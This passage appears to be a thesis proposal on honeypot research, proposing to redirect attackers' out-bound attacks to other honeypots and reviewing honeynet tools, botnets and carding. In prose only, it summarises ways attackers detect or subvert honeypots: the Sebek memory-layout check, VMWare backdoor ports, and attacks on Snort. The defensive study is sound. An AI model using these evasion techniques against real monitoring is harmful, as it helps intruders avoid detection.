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This thesis explores possibilities for extending the features of honeypot systems to de-
crease the chance of an attacker discovering that they have compromised a honeypot. It
is proposed that by extending the period of time that an attacker spends on a honeypot
oblivious to its status, more information relevant to profiling the attacker can be gained.
Honeypots are computer systems that are deployed in a way that attackers can easily com-
promise them. These systems, which contain no production data, are useful both as early
warning systems for attacks on production systems, and for studying the tools, techniques,
and motives of attackers. Current honeypot systems mitigate the risks of running a hon-
eypot by restricting out-bound traffic in a way that might be obvious to an attacker. The
extensions proposed for honeypots will be tested in a controlled laboratory environment to
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The goal of this thesis is to describe current honeypot systems, to point out areas in
which they might be improved, to recommend enhancements to the concept that may aid in
attack profiling, and to test these enhancements in both controlled and open environments
to see if they show promise.
A honeypot system can be defined as a computer system set up on a network for the
sole purpose of being attacked. These systems are deployed in order to serve either as an
early-warning system for an attack, or a means by which to study attacks. None of the le-
gitimate, production systems on a network should interact with a honeypot system. There-
fore, any network traffic or activity on a honeypot system is considered to be potentially
hostile. The data gained from honeypots allows researchers to examine the techniques and
tools used by attackers to compromise systems [17].
Honeypot systems can be implemented as low- and high-interaction systems. A low-
interaction honeypot involves a simple emulation of an operating system and network
services at a very superficial level. This type of honeypot is useful for early-warning of
attacks on other systems or for statistical data about incoming attacks, but it is limited
in its ability to “fool” attackers for very long, resulting in less information regarding the
1
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attacker’s motives and techniques. A high-interaction honeypot is implemented as a real
operating system and with services running on a real or virtual machine such as VMWare.
This allows for data to be logged about the attacker’s actions once they are on the machine,
which may reveal much more about their intentions [5]. Sometimes these are referred to as
”production” and ”research” honeypots respectively, however this is misleading since both
low- and high-interaction honeypots may be useful in both environments. In this thesis,
“low-interaction” and “high-interaction” will be used to describe these general classifica-
tions of honeypots, leaving “production” and “research” to solely describe the environ-
ments in which the honeypots operate.
Honeypots are a useful tool, however there are some limitations associated with their
use. One problem is the issue of liability. Intentionally placing an insecure machine on a
network and allowing it to get compromised can put an organization into a very awkward
position if the attacker then uses that system to launch attacks on other organizations’ or
individuals’ systems. It is also highly undesirable for the honeypot to serve as a stag-
ing point for attacks on the rest of the controlling organization’s networks. Therefore,
limitations have to be placed on honeypots’ out-bound network connections in order to
prevent abuse at the hands of attackers who are trying to anonymize attacks by routing
them through many systems [9].
Limiting network connectivity, as well as some of the logging mechanisms put into
place on honeypot systems, leads to the next great limitation of honeypot systems: the
ability of attackers to detect a honeypot. If an attacker detects that they are on a honeypot
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system, they will likely either leave immediately, leaving the honeypot operator with less
data than is desirable, or will proceed to interact with the honeypot in a way that misleads
the operator about the attacker’s identity and intentions.
Honeypot detection is not widespread yet, because only a very small percentage of
hosts an attacker may encounter today are honeypot systems. Honeypots, however, are
very useful tools and will become more predominant on the Internet, especially with re-
cent advances making them easier to deploy. There is already “anti-honeypot” research
being performed by those in the computer underground in both the detection of and ex-
ploitation of software commonly used to implement honeypot systems [3, 2, 4]. As hon-
eypots become more popular, it is likely that honeypot detection/exploitation will be more
commonly practiced. The most obvious of the limitations that honeypots pose is that of
limiting or blocking out-bound connections, so it is thought that by redirecting out-bound
attacks to other honeypot systems, it may be possible to thwart detection at least for a short
time longer to gather more information about the attack.
1.1 Definitions and Rationale for Research
Immersiveness is defined by the degree to which an attacker is “fooled” by the honey-
pot system. Once an attacker has discovered that the system he or she has penetrated is
a honeypot, or the system proves useless to them due to limitations placed on the honey-
pot, the immersiveness is lost and the attacker will likely move on to some other system.
Low-interaction honeypots that only emulate an operating system and a set of services su-
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perficially are far less immersive than honeypots that are implemented with real operating
systems and network services. Limitations, such as blocking attacks on non-honeypot sys-
tems from the honeypot, or limiting the number of connections allowed to non-honeypot
systems, are commonly placed on honeypot systems to reduce the chance of abuse by
attackers. When an attacker faces one of these limitations, the immersion is reduced or
eliminated entirely.
The attacker, in the scope of this research, is defined as a malicious entity that at-
tempts to penetrate the security of a system for any purpose. By definition of a honeypot,
any entity that communicates with a honeypot system is considered to be an attacker, if
the communication is intentional and continuous. An attacker may be human or an au-
tonomous piece of malware. The difference between the two can be subtle, as any human
attacker will likely use some software to assist in an attack, such as an exploit or automated
rootkit, but any such malware had to have been authored and set into action by a human.
For the purposes of this research, the line is drawn as follows:
• If the attack involves an interactive shell or graphical access to the honeypot sys-
tem or systems being attacked from the honeypot system, the attacker is considered
human, even if the tools being used automate the exploitation of the system.
• If the attack targets specific systems chosen by the malware author, then the attacker
is considered human, even if the attack is largely scripted rather than interactive.
• If the attack involves software that indiscriminately chooses new targets and exploits
vulnerabilities in those targets to reproduce and spread further, with little or no in-
teraction from the originating human, the attacker is considered to be autonomous
malware.
It is acknowledged that this classification may be of limited use to those outside of this
research (for example, those wishing to prosecute attackers would have little success in
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taking malware to court rather than the authors of the malware). It is, however, convenient
for this research, in that it separates attackers into different categories based on how they
might react to the limitations of honeypots. Autonomous malware is (at the current time)
likely to be tolerant of issues of latency or dropped connections, and continue about its
business as usual. Human attackers that participate in an attack are more likely to notice
unusual activity, and are more likely to have the initiative and capability to investigate
such anomalies, or simply leave the system. In cases where the attack is largely scripted,
yet against a specific target, it is likely that the human attacker will be monitoring the
progress or results, and can intervene to stop the attack or further investigate in an inter-
active fashion. These two primary classifications of attackers present unique challenges to
any attempt by a honeypot to fool the attacker–for example, in the case of this research,
a human attacker interested in attacking a specific target will not be fooled by a honeypot
system taking the place of the intended target as long as would be an autonomous attacker
with no specific target.
In this research, a non-honeypot system is defined as any system outside the network
of honeypot systems deployed by the organization responsible for setting up the honeypot.
This may be other production systems within the organization (such as servers or worksta-
tions), or systems external to the organization. It is important that access to non-honeypot
systems is restricted. An organization does not wish for mission-critical services to be
disrupted or compromised from their own honeypots, and certainly does not wish to risk
being the source of an attack on other organizations or individuals. Attackers are often
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concerned about concealing their identity, and will compromise systems for the purpose
of using them as an anonymous “bounce” point for attacks on other systems, so out-bound
connections should be expected once an attacker compromises a honeypot.
Profiling an attack involves more than simply stating the vulnerability that has been
exploited. An attack profile, as it is used in this research, consists of the following:
• Motivation - There must be a reason for the attack, even if that reason is for the
sheer thrill of it. It could possibly be material gain, notoriety/fear/respect among
peers, anonymity, revenge, or others (even combinations of others).
• Breadth/Depth - This is the scope of an attack across a number of systems, or the
degree to which it targets information on a few. An intense probe of an accounting
server for specific data may have a lot of depth in its attack on that information, yet
affect few other systems. An attack that intends to add the target to an Internet “bot-
net” designed to allow the attacker to effect denial of service attacks on others would
have a large breadth of systems that it affects, while having a relatively shallow
impact on each participant in the botnet.
• Sophistication - On the low end of this scale are attacks that utilize software or
exploits that are publicly available in a way that shows that the attacker has little
knowledge of how they really work. On the high end of this scale are attacks that
show some level of expertise in developing or modifying custom tools for attacks.
How well does the attacker adapt and react to unexpected circumstances is also
considered.
• Concealment - This describes what measures have been taken to hide evidence of
the attack from legitimate users of the system. An attack with an end goal of de-
facing a web-site will be discovered quickly, so such an attack probably wouldn’t
be as careful in this respect as would be an attack meant to never be discovered (for
example, corporate espionage).
• Attacker(s) - The individual, group, or malware behind the attack is worthy of a pro-
file of their own, describing any defining characteristics that can be gleaned from the
attack. Email addresses, nicknames, common phrases, or comparing the techniques
of different attacks can help identify attackers, or at least identify a group of attacks
as coming from a common source.
• Vulnerability - This is the flaw in the system that allowed the attack to take place.
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• Tools - The tools involved range from the software that exploited the vulnerability,
to the back-doors, rootkits, and other software uploaded to the system subsequently
to carry out the rest of the attack.
It is worth noting that the areas much of the security community focuses on, i.e., the
vulnerability and exploit, are the most interchangeable aspects of an attack profile. Every
other aspect of the profile can stay the same, but the exploit that gains access to the system
can be switched with a new one at any time. Therefore, when investigating an attack,
whether it is on a honeypot system, or a production system, it is important to determine
the goal of the attack, and other profile information. This could be the difference between
knowing ”There is someone who is trying to hack us with an OpenSSL exploit”, and
”There is an experienced attacker trying to get at payroll information for 2003”. Both are
important to know and prepare against, but the latter is definitely more helpful information
for the organization n the face of an attacker who is likely to change exploits/vulnerabilities
in order to effect the same goals.
While this helps in identifying threats, the problem with an attack profile is that, in
most cases, the attack must be at least partially successful in order to have enough infor-
mation to fill out the profile. It is impossible to discern the motivation of an attacker who
continues to try to unsuccessfully penetrate a system by various means. This is where
honeypot systems can really prove useful. If an attacker is allowed to believe they have
been successful in the initial exploitation of a system, they are likely to follow up with
the more informative portion of their attack, revealing their motives, techniques, tools, etc.
The more interaction given to the attacker, the more information can be gathered. By ex-
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tending the honeypot to allow attackers to think they are connecting to other systems from
the original honeypot, more information is gained on their final goal.
1.2 Hypothesis and Research Questions
This hypothesis for this research is:
A set of honeypots can be constructed in such a way that their detection be-
comes more difficult for an attacker, and their interaction will immerse an
attacker for a longer period of time than would a single honeypot.
Answers to the following research questions are designed to provide evidence to support
the hypothesis:
1. Can attacks from honeypot systems to non-honeypot systems be reliably and safely
redirected to other honeypots?
2. Is it possible to redirect attacks in such a way that is relatively transparent to both
human and autonomous attackers?
3. Does attack redirection result in more or less useful data about an attack’s profile
than other forms of honeypot limitations?
Experiments are be performed to answer these questions and details are provided in
chapter IV. Software was developed to intercept intrusion attempts and reroute the attempts
to another honeypot system. A series of attacks are executed in a laboratory environment to
test this technique. There is an “attacker’s” machine, from which the attacks are launched,
a set of two honeypots, and a “victim’s” machine, which is the intended target of attacks
out-bound from the honeypot. The attacks are designed in such a way that the victim’s
machine is the end target of an attack from the attacker’s machine, via a third compromised
computer on the honeypot network. One attack has the end goal of defacing the web
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site on the victim machine, in order to determine how transparent the redirection is for
a human attacker. The other attack is a simulation of a typical autonomous attacker that
runs a scripted attack, attempting to compromise the victim machine via the same buffer-
overflow vulnerability that it uses to gain access to the honeypot.
Each attack is executed on both traditional and redirecting honeypot configurations,
and the data generated (packet logs, input/output logs, alerts) is compared to determine
how seamless the redirection can be. The victim’s machine is monitored closely to verify
that attacks are not allowed to execute against it when redirecting honeypot configurations
are active.
1.3 Relevance
Honeypots can serve important roles in both research and production environments.
Those primarily interested in computer security research can use honeypots as a tool for
supplementing the knowledge gained from peers with information gathered on real attacks
performed by real attackers. Often new vulnerabilities and exploits are discovered by those
who are more likely to put them to use for their own personal gain rather than disclose them
to the vendor or security community. A suitable honeypot is useful for capturing these new
vulnerabilities and exploits ”in the wild” in a way that ensures that they will be noticed and
examined by someone experienced in the field. Current honeypots are capable of this and,
at the moment, serve this role very well. Extensions on the honeypot concept, however,
can increase the amount of good a security researcher can do with data by giving them
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more information on what an attacker is trying to gain or accomplish in attacks or scams
that span multiple systems. This information can help make a researcher’s results more
important, when it can be tied to specific crimes or types of attacks being committed.
In production environments, honeypots can be useful as an early-warning system for
attacks on an organization’s systems. With the modifications proposed in this work, a
network of honeypots may be able to better assist in profiling attacks on an organization,
so that an organization may properly react to the threat. Also it is possible that such
redirection will be a safer means i (in terms of liability) of limiting attackers on a honeypot
than simply restricting the number of out-bound connections.
The remainder of this proposal contains a discussion of the previous work performed
in honeypot systems and related areas, and a description of the experimental procedures to
be used in this work.
CHAPTER II
RELATED WORK
2.1 Honeypots and Honeynets
Although the term “honeypot” was never mentioned in Cliff Stoll’s The Cuckoo’s Egg,
his entertaining account of tracking down an alleged spy that attacked a computer system
he was in charge of during the late 1980’s is widely regarded as the spiritual ancestor to
modern day work on monitoring attacker techniques and tools. Stoll’s attacker penetrated a
production system on the Lawrence Berkeley Lab network, and, over the course of a year,
Stoll tracked and studied the attacker by maintaining the vulnerability that the attacker
used, rather than taking the system down and patching it up. In order to further slow
the attacker down and gauge his or her interests, large fake files of data that the attacker
seemed interested in were placed on the system. The added time the attacker took to sort
through the fake files both distracted the attacker away from truly important systems and
bought enough time to obtain traces of the attacks’ origins. Modern-day honeypots share
traits of intentional vulnerability, enticing data, and monitoring systems as in The Cuckoo’s
Egg scenario [19].
In recent years, the concept of honeypot systems has been popular, with a steady in-
crease in the complexity and magnitude of attacks on the Internet. The attacks have grown
11
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because the motivations for such attacks have become more enticing. In the days of small,
largely isolated networks, small multi-user systems, and even the earlier days of public
usage of the Internet, widespread attacks that automation makes possible simply could not
have the same broad impact. As systems are becoming more highly connected across the
Internet, isolation is becoming the exception rather than the norm. This high degree of
connectivity, coupled with more powerful machines and a growing number of broadband
connections, gives attackers the advantages of anonymity in a sea of similar machines and
traffic, as well as a platform for automated attacks which execute and spread quickly.
The motivation for these attacks is also greater, as more people do Internet banking,
shopping, and communications on their personal computers. The temptation to compro-
mise an e-commerce server that contains thousands of customers’ credit information is
very high. In other cases, it is not the information on the computer that is the target. Of-
ten an attacker will simply utilize the processing, storage, and network resources of many
compromised machines in an attack of a larger scale.
The most well-known researchers of honeypot technologies are part of the Honeynet
Project, led by Lance Spitzner. The Honeynet Project began in 1999 for the purpose
of gathering intelligence on attacker techniques, tools and motives that might help the
security community identify new threats and weaknesses more effectively. The Honeynet
Project’s research involved four phases [17]:
• Phase I - (1999-2001) Developing basic honeypot systems with little capability be-
yond standard installations of operating systems with basic limitations on attackers
and simple monitoring.
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• Phase II - (2002-2004) Development of “GenII” honeynets with more sophisticated
attacker control and monitoring. Encrypted information could then be captured, and
wireless honeypots deployed.
• Phase III - (2003-2004) Development of a boot-able CD-ROM implementation of
GenII honeynet technology to make honeynets easier to use and more efficient for
those deploying them.
• Phase IV - (2004-) Development of centralized data collection in order to more
efficiently manage a large number of distributed honeynets.
In typical honeynet architectures, there must be provisions made for Data Control, Data
Capture. For organizations with multiple honeypot systems, Data Collection is also nec-
essary. Data Control involves a delicate balance between giving the attacker the freedom
to do as they please (allowing those running the honeypot to gather more information) and
mitigating the risk that attackers on honeypot systems pose to other non-honeypot systems.
It is irresponsible to allow an attacker the same sort of free reign on a honeypot system
as would be had on a non-honeypot system. That would give the attacker the opportunity
to use honeypot access to launch attacks on “innocent” systems. As discussed before, a
compromised system is often utilized for its resources, not the data contained within it.
The limits placed on the attacker’s activities, however, can severely limit the information
that can be gathered about the attacker. Balancing these two aspects is difficult, and tra-
ditionally, honeypot operators have erred on the side of caution. Controls that can limit
attackers include limiting out-bound connections and bandwidth, as well as blocking or
mangling known attacks. Different control techniques vary in subtlety, however most can
be detected by the attacker [10].
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Data Capture is the set of tools put into place to monitor the honeypot system and
log the activity on it. In a way, this task is somewhat simplified, since any activity on a
honeypot is suspect, however it can be quite difficult to log activity that an attacker cannot
detect or disable. The most common trait among all skilled attackers (the sort of attackers
that you most want data on) is that they will always make some attempt at being stealthy.
Once administrative privileges have been obtained on a system, it is trivial for the attacker
to modify or bypass traditional logging methods such as syslog. A honeypot operator
must log data in such a way that it is hidden and immutable, on a separate machine that
the hacker cannot penetrate [10].
Data Collection involves taking the captured data of many honeypot systems and com-
bining the data in a way that is helpful to the researchers. This can allow security re-
searchers to discover trends and track the progress of attackers across more than one
network. The primary concern here is to avoid information overload on the individuals
examining the data [10].
“GenII” honeynets, as developed by The Honeynet Project, go far beyond simply set-
ting up a vulnerable computer on a network. In this more modern and secure implementa-
tion, the honeypot or honeypots are connected to a network behind a system known as the
honeywall. The purpose of the honeywall is to perform the Data Control and Data Capture
aspects of honeypots described above in a way that is transparent and undetectable from
the attacker’s viewpoint. The honeywall is implemented as a bridging firewall, so that
the honeywall does not have a publicly accessible IP address, and does not show up as a
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“hop” on the network in the event of a traceroute. The only time a honeywall is detectable
is when its configuration has determined that out-bound traffic from the honeypot systems
it controls has gone outside allowable limitations. It may detect out-bound attacks and
block or mangle them, or count the number of out-bound connections in a day’s time and
limit them. The honeywall also acts as a promiscuous network traffic sniffer, logging every
byte of traffic being sent to and from the honeypot machines [9].
The difficulty in logging all of this traffic is that often the attacker will use secure
communications, such as ssh, to communicate with the honeypot machine, and from the
honeypot machine to others. Logging network traffic passively in this manner will capture
only encrypted data, which is of little use. This is the point at which some modification
must be made to the otherwise “stock” operating system of the honeypot computer. A
small kernel module, called Sebek, can be used that intercepts the system calls used by
encryption software to capture the plain-text of communications. The kernel module is
also able to hide its presence in the loaded kernel in a way that a cursory examination by
the attacker would not reveal. The captured data has to be logged back to the honeywall
somehow, so it is sent as spoofed UDP packets on the network with a predetermined IP
address and port number that the honeywall is programmed to look for. To make this
less suspicious to the attacker, who might be running network sniffing software on the
honeypot, the kernel of the honeypot’s operating system is also modified to ignore packets
with the predetermined address and port [9].
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Virtual Honeynets are honeynets that are implemented with various components of a
honeynet architecture contained on a single computer. Virtualization software can allow
many instances of an operating system to run independently of each other on simulated
hardware. This can make honeynets more cost effective and easier to deploy, however
there are also disadvantages to this approach. In addition to depending on the reliability
of a single machine instead of multiple machines, it is relatively easy for an attacker to
determine the presence of most virtualization software, like VMWare. This may be a
clue to the attacker that they have compromised a honeypot system. In the future this
may be less obvious since many companies are utilizing virtualization for non-honeypot
applications such as server consolidation [14].
One interesting idea for the future of honeypots, among other modifications that can
be made, is dynamically deployed honeynets [16]. These honeynets would be a plug-and-
play solution, passively monitoring a network on which it is placed to determine what kind
of operating systems are in use. Then, once the layout and types of systems are identified,
it can deploy similar systems as honeypots in a way that does not set the honeypots apart
from the production systems in the eye of an attacker. This can cause many difficulties for
an attacker trying to penetrate a network, and would serve as an easy to use early-warning
system. Currently however, there are no dynamic honeynets implemented that perform
this way.
Wireless honeypots are another relatively new idea. There are a large number of in-
secure wireless access points operated by companies and individuals who do not know
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the dangers or do not know how to secure them. Many malicious attackers find that the
easiest way to attack a target, or at least to make their attack anonymous, is to do so from
insecure wireless access point, found using a technique known as “war-driving”. A wire-
less access point can be set up, intentionally insecure, to study the intentions and actions
of any attackers in the area that might connect to it [6]. Care must be taken, however,
since those connecting to the insecure access point may not be malicious. Many operating
systems, such as Windows XP, are configured to connect automatically to access points
that do not require authentication, so it is plausible that the users of those computers are
unaware of what network they are really on. This is in contrast to most honeypot systems,
where anyone connecting is automatically assumed to be malicious.
2.2 Honeypots and Forensics
Forensic analysis of a compromise in the information security of an organization can
be made easier with the deployment of honeypots and related technologies ahead of time.
It is proposed that honeypots are excellent in catching “insider threats”. An insider threat
is an attacker who has an intimate knowledge of an organization’s network, as a technically
skilled employee. This employee may be after sensitive information for the purposes of
selling it to a competitor, or may be disgruntled and take out his or her frustrations on the
computing resources of the network by unleashing malware onto the network. In these
situations, honeypots that have been deployed can help identify this threat quickly. More
useful, however, is the concept of “honeytokens”. A honeytoken, like a honeypot, has
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value in being discovered or compromised by an attacker. Unlike a honeypot, however, a
honeytoken is a single record or piece of information placed onto a production system for
the purpose of fooling the attacker. For example, an email may be fabricated and placed
on a server that contains a login and password for another (honeypot) system. This login
and password is not in use by any legitimate users, so if the system records a login with
that user-name, then the server that held the fabricated email has been compromised. The
attacker may then be observed on the honeypot system for clues about their identity or
motives [18].
Performing forensic analysis on a compromised honeypot system can assist in an inci-
dent investigation, since, unlike the production systems, the attacker is usually unable to
remove the data logged about them. Also, the overhead of logging so much data is too
high for many production systems. On a honeypot system, it is possible to look at every
keystroke of every command and every mistake that the attacker made, giving a very fine
grained profile of how skilled the attacker is, how well they know the system, what they
are doing, and what their intentions are [7].
While production systems are often running under too high of a load to effectively log
all activities, honeypots can help serve as an automated warning system that would turn on
logging for production systems. Once a honeypot system is compromised, the honeywall
can automatically send a signal to all of production systems to accept the performance
degradation and turn on specific forms of logging that might be of forensic significance.
In this way, the usual performance of the servers is maintained, while still reaping the
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benefits of having evidence in the event of a security incident on the network. This also
allows an incident investigation to begin before the actual attack is complete, allowing the
investigators to examine “fresher” evidence, and have a greater chance of identifying the
attacker and the extent of the attack. Faster investigations mean less down-time, and so
these benefits can far outweigh the costs of maintaining a honeynet on an organization’s
network [1].
2.3 Malicious Honeypot Detection and Abuse
As honeypot systems become more widely deployed, the attacker/defender arms race
will continue to escalate. At the current time, honeypots are very popular in the secu-
rity community, but only a negligible percentage of the systems an attacker is likely to
encounter will be a honeypot. Therefore, at the current time, there is not much motiva-
tion for the average, lower-skilled attacker to be particularly concerned with finding them-
selves on a honeypot machine, especially since most honeypot operators today are focused
on capturing attacker techniques and tools more than actual tracking and prosecution of
attackers. However, as honeypots become more feature-filled and easier to deploy, there
will be larger numbers of them implemented in both research and production settings. At
present, a skilled attacker, especially one with knowledge of unpublicized vulnerabilities
or exploits, should know that it is in their best interest to ensure that they are not being
watched. This will become a more pressing issue for attackers in the future, and they will
adapt and develop anti-honeypot measures.
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Such research is already going on in some circles. So-called “black-hat hackers” are
not usually ones to publicize their work openly, let alone in a formal, peer-reviewed fash-
ion (a problem with many fields in computer security, actually), but there is evidence
of progress in detecting and even exploiting the software that is used in the deployment
of honeypots. One source of information is a series of articles only published in two
fake issues of the popular hacker electronic magazine, Phrack. While it is not known for
what purpose (self-promotion or general confusion) these fake issues were created and dis-
tributed, they were considered at least good enough that the official Phrack web-site hosts
copies of them alongside the official issues, and the technical information in the relevant
articles is accurate [3, 2, 4].
These articles talk of the inherent flaws involved in assuming that attackers will not
study the techniques put forth by The Honeynet Project and that there is no way to imple-
ment a monitor that an attacker cannot disable or abuse in some fashion. Whether or not
The Honeynet Project actually makes those assumptions, the interesting part begins when
the author discusses Sebek. The author presents a clever way of detecting the presence
of Sebek, even in cases where the Sebek module has been unloaded and cleaned. On an
unmodified system, the read() and write() system calls will be very close to each other in
memory. On a system where Sebek has been loaded into memory, Sebek hooks the read()
system call in order to log the arguments and send them over the network. This means
that read() will be in Sebek’s memory space, and no longer nearby write() as is typical.
The presence of Sebek is a dead giveaway to the honeypot status of a machine. Mention
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is also given to other common limitations of honeypot systems that can be tested quickly
and easily by attackers, such as connection limiting and payload mangling [3].
The second article in this series, “Advanced Honey Pot Identification”, involves actu-
ally exploiting Sebek once it has been detected. This may lead to arbitrary code execution
on the honeywall, which would normally be inaccessible from the honeypot, as well as
disabling Sebek by changing its parameters or preventing it from sending the UDP pack-
ets. VMWare is also demonstrated as being easily detected by using the same back-door
I/O ports that the virtualization software uses to communicate with the specialized drivers
written for the guest operating systems. This can even be exploited to continuously raise a
pop-up for the operator of the virtual honeynet, effecting a very annoying denial of service
for anyone trying to manage the virtual honeynet [2].
The last in this series of articles involves Snort, which has been known to contain vul-
nerabilities in its packet handling code as well as the usual limitations inherent to signature
based IDS. A honeywall generally runs both a copy of Snort to log and alert, as well as a
copy of Snort-inline for blocking and mangling out-bound attacks. This gives the attacker
the opportunity to, once they detect that they are on a honeypot system, to attack the hon-
eywall by sending specially crafted network traffic across it to the honeypot, or vice versa.
Also, the presence of real attacks can be easily disguised by a storm of false attack traffic
generated from typical Snort rules [4].
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2.4 Internet Crime and Attack Profiling
In the data logged by the Honeynet Project, they have found that a lot of the motive
behind an attack can be gleaned from the actions the attacker takes once on the system
[8]. From the tools intercepted on a compromised Solaris honeypot, the activities of a
attacker in setting up an Internet Relay Chat (IRC) “bot” (in this context, a program meant
to maintain control of an IRC channel), and the ensuing conversations logged due to the
bot’s presence in the IRC channel, much of the motivation and mind-set of the attacker
can be determined. This is in contrast to a typical incident response, where less is logged,
and what has been logged may have been modified or lost in a sea of legitimate traffic.
Another form of Internet crime profiled in the activities of The Honeynet Project is
credit card fraud, specifically how it has been automated via IRC. Where once, “carders”
(i.e., those who participate in credit card fraud) have largely worked alone, “carding” has
been transformed into a massively distributed, anonymous, and organized process. Auto-
mated scripts on these IRC channels are set up on compromised servers where merchant
accounts can be used to check the balance and validity of stolen credit information. Stolen
credit information is used as a form of currency in the computing underground and the
trade of this information often begins in these channels [15]. This presents a desirable
opportunity for those who are involved in the theft and abuse of credit information, be-
cause they can effectively cover their tracks by stealing credit information, using it to
purchase whatever they please, and then posting the credit information to the masses of
neophyte carders on the IRC channels who will also abuse the credit information in a ge-
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ographically diverse fashion until the fraud is discovered. When the fraud is discovered,
it becomes impossible to determine which of the many abusers was actually the one who
stole the information in the first place.
One of the most widespread tactics in use by Internet criminals today is the construc-
tion of large “botnets”. A botnet is a collection of compromised systems tied together by
a single control channel from which the attacker can command the systems, often referred
to as “bots” or “zombies”, to do his or her bidding. Currently the most popular control
channel is IRC, due to the ease of which software can be programmed to interface to IRC
servers, and the nature of it repeating communications to all clients connected to the server.
An automated attack is used to build up the botnet, presumably by hand at first. Once sys-
tems become compromised, loaded with the bot software, and join the IRC server to await
commands, they are typically instructed to scan for more vulnerable systems. This gives
a botnet exponential growth. As the number of bots grow larger, so does the capacity to
scan for more vulnerable systems to add to the botnet. It is not unusual for a botnet to span
tens of thousands of machines around the world, giving the attacker a massive amount of
computing and network resources to use.
In an incident at this University, computer systems were discovered to have been in-
fected with botnet software and participating in various activities at the will of an unknown
attacker. After discovering the infection because of reduced network performance (due to
the scans the infected machines were performing), the control channel of the botnet was
monitored using a network sniffer. Once enough information was gathered, a connection
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was made to the IRC server in use to confront the attacker. In this case, the attacker and his
cohorts on the control channel turned out to be unusually talkative and much was learned
about the motives and operation of these botnets. The primary motivation of the botnet
was to raise money illicitly by selling access to the network to bulk emailers. The bulk
emailers would, for a price, be able to utilize the network of compromised machines to re-
lay advertising email to millions of people quickly and anonymously, using the bandwidth
of the victims Internet connections, rather than pay for their own. While this is a illegal
practice, it appears that the majority of “spam” email sent today is relayed in this fashion.
Another discussion was witnessed between two of the attackers, in which they mentioned
how a business had paid a sum of money weekly for the attacker to use the botnet to effect
a denial of service attack against a competitor’s web-site. Occasionally, the botnet would
be used in “phishing attacks”, where emails were relayed in a similar fashion to spam, in
order to trick people into thinking they must verify their online banking information and
giving that information to an attacker-controlled web server. There are many variations
on this scam. Some compromised machines on the botnet appeared to connect to various
other IRC servers as well, in order to automate the trade of thousands of dollars worth
of pirated software and movies. Botnet creation and maintenance is apparently a lucrative
scam and attracts those with the talent to implement and modify exploits used by the botnet
spreader software surprisingly quickly (a spreader exploit that worked against Windows
XP Service Pack 2 was unleashed very soon after its official release).
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A honeypot based around GenII techniques was implemented on the university net-
work over a period of several months, and the data logged from it indicated that while
few attackers are skilled enough to actually compromise a given server, once they are on,
they are not usually there to just look around. It is important to study these “black hat”
techniques and motives, as traditional computer security researchers simply aren’t of the
appropriate mind-set to come up with complicated illegal scams. It is also important that
the results of such observations of Internet crime are publicized, so that the general public




Sebek is a loadable kernel module for Linux that hooks into the stock read() system call in
order to capture data sent to that function and then send it over a network link to another
machine, such as a honeywall on a GenII honeynet deployment. The module can be loaded
into the kernel in the same way as normal loadable modules, however once it is loaded, it
can be “cleaned” and unloaded while still remaining active. This allows the Sebek module
to run with a smaller chance of being detected by the attacker. The data logged from
the read() call is sent to the external system via forged UDP packets with a specific (and
nonsensical) source, destination, and port number. The external system listens for these
specially crafted packets and logs them for future analysis. To prevent attackers who install
network sniffers on the honeypot from noticing these packets coming from the system they
are on, the network protocol stack of the kernel is modified to identify the specially crafted
packets and drop them rather than pass them along to the sniffing software. This module
allows a GenII honeynet to intercept encrypted communications as well as activities local




VMWare is virtualization software for x86 architecture computers, allowing many oper-
ating systems to run simultaneously under a single host operating system. For instance,
a Linux host system may be running one or more Windows or Linux variants as guest
operating systems. VMWare simulates a set of common computer hardware components
such as display and network adapters, allowing the guest operating systems to connect to
a network. VMWare is marketed towards developers and those interested in consolidat-
ing servers, however it has gained a lot of popularity in security, especially with those
interested in creating virtual honeynets [12].
3.3 User-Mode Linux
User-Mode Linux is a port of the Linux kernel which allows it to run in user-space on a
Linux host operating system. In some ways it is similar to the virtualization that VMWare
performs, however it only allows for Linux guest operating systems and can be more
difficult to configure, since it does not come with a graphical interface. It is, however,
open source, so there is the possibility of modifying User-Mode Linux to fit the specific
needs of a honeynet. Also, the author of User-Mode Linux recognizes its use in honeypot
systems, and has been making modifications to it in order to make it harder for attackers
to detect the virtualization [11].
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3.4 Snort & Snort-In-line
Snort is an open source intrusion detection system (IDS) that utilizes pattern matching to
generate alerts and manage logging. In the case of honeypots, Snort is often set to log
all packet data in binary form for future analysis, and generate a set of alerts to act as
pointers for specific anomalous activities. Snort-inline is a version of Snort that has been
modified in a way that maintains an inline buffer of traffic, so that if a rule is triggered, that
traffic may be dropped, modified, or simply forwarded and logged as in plain Snort. Snort-
inline is often used on honeynets to implement limitations on the capabilities of out-bound
attacks initiated by attackers from honeypot systems. The alerts generated also serve as
good pointers on what to investigate in honeypot traffic.
3.5 Ethereal
Ethereal is a network protocol sniffer and analyzer that is capable of opening the raw
binary packet dumps that Snort generates over the course of monitoring a honeypot. It has
an easy to use GUI interface, allowing packets to be sorted by any of the protocol fields
or by time, and has features for decoding many higher level protocols to a tree format in
a way that is difficult to do by hand. TCP conversations can be reconstructed by right
clicking on any packet involved in the conversation, and the resulting data can be viewed
as hex, plain text, or in C arrays. A small script was written for the purposes of this thesis
in order to take traffic associated with downloading files from web sites and extract out
the files that were downloaded. This was used to recover much of the malware used in the
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honeypot that had been set up on the university network by capturing it out of the traffic




To test the hypothesis, a small network of computers was constructed in an isolated and
controlled environment. Within this controlled environment, honeypot systems were con-
figured in both traditional and attack-redirecting arrangements in order to determine how
much information about attacks could be gathered. Two attacks, based on activity wit-
nessed on a previous honeypot deployed, were designed in order to test these honeypot
configurations. In this experiment, the honeypot that the attacker first compromises is in-
tended, by the attacker, to be an intermediary in an attack on a victim’s machine that is not
part of the honeypot network. On traditional honeypot systems, the attack will simply be
blocked, while on the attack-redirecting honeypot configuration, the attack will be allowed
to execute, redirected to another honeypot machine. The resulting data is then compared
to data captured from the same attacks executed on a non-honeypot configuration of the
network.
4.2 Network Description





Hostname IP Address Software Configuration
attacker 192.168.1.4 Arch Linux 0.7
victim 192.168.1.5 Redhat 7.3 running on VMWare 4.5
honeywall N/A Slackware 10.1 w/custom bridging code
honeypot1 192.168.1.2 Redhat 7.3
honeypot2 192.168.1.3 Redhat 7.3
• attacker - This is the machine from which the attacks will be launched. In exper-
iment log files, attacker is also known as nomad, the hostname of the laptop the
attacks were launched from.
• victim - This machine is the end target of attacks from attacker.
• honeywall - This machine acts as a bridge between the computers of the honeynet
and the “outside world” (attacker and victim), and handles either blocking or redi-
recting access based on IDS alerts.
• honeypot1 - This machine, on the honeypot network, is used by the attacker as the
intermediate staging point for attacks on victim
